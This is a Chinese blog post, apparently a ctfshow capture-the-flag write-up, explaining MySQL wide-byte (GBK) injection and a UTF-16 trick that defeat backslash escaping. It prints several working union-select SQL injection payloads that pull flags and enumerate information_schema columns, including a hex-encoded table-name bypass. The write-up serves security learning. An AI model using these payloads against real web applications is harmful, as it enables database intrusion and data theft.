mysql宽字节注入绕过原理,(特殊字符限制绕过)

过滤\、'、"等字符绕过方法

参考连接:https://blog.csdn.net/Jayjay___/article/details/132081414

方法一:

宽字节注入原理:

常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。

如果使用了类似于 set names gbk 这样的语句,既MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。

这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。

本题宽字节注入利用:

因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。具体利用的话我们可以用%df 吃掉 \(%5c)

因为urlencode(\') = %5c%27,如果我们在 %5c%27前面添加 %df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c当做是一个汉字,%27(单引号)则作为一个单独的符号在外面,同时也就达到了我们的目的。

payload:

?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
#此语句中使用了%ef绕过和%df同样原理,都可绕过添加斜杠的方法

 


如果可以构造 %5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是 bypass 的一种方法。可惜这题也过滤了反斜杠\(%5c)。

方法二:

国光大佬还写了一个新方法:

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为,从而得到了一个能被utf-8解析
为汉字的字节。
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'

 

payload:

uname=-1�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit

 方法三:

这题无闭合,数字型注入。用了addslashes()函数作为过滤,但是出flag并不需要单引号,相当于没过滤。

payload:

?id=-1 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+


但是哈,如果这题放到本地做,我们会发现,爆字段时候需要用加了引号的表名。表面的引号不可不加。

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'

宽字节注入法能吃掉反斜杠,但是产生的字符,会影响SQL语句。

为什么之前几题不影响SQL语句呢?????

假设宽字节注入后,产生的字符是【*】。

之前题目的payload:?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +

带入SQL语句就是:

SELECT * FROM users WHERE id='【*】' union%20select%201,2,group_concat(flag4s) from ctfshow.flags

宽字节产生的奇怪字符属于是查询的id,不影响联合注入语句。

现在的payload:?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'

带入SQL语句就是:

SELECT * FROM users WHERE id='1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=*'数据表名称【*】'

大大滴影响啊,报错如下:


本地做时,我们的绕过只需将表名换成十六进制编码就行,直接使用联合查询就可以了。

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

 

posted on 2024-04-04 09:40  叶子在行动  阅读(266)  评论(0编辑  收藏  举报

导航